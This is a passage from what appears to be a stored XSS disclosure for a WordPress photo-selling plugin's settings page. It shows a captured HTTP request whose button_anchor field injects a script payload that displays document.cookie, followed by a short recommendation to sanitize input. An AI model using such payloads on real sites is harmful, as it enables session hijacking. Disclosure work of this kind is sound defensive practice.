Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/w/wp-admin/options-general.php?page=nextgen-sell-photo-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

_wpnonce=a48671c8bf&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dnextgen-sell-photo-settings&paypal_email=john%40zopmail.com&currency_code=USD&price_amount=5.00&button_anchor=Buy+Now+%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&return_url=http%3A%2F%2F127.0.0.1%2Fw&ngsp_update_settings=Save+Changes

Recommendation

All users inputs should be sanitized before it is used.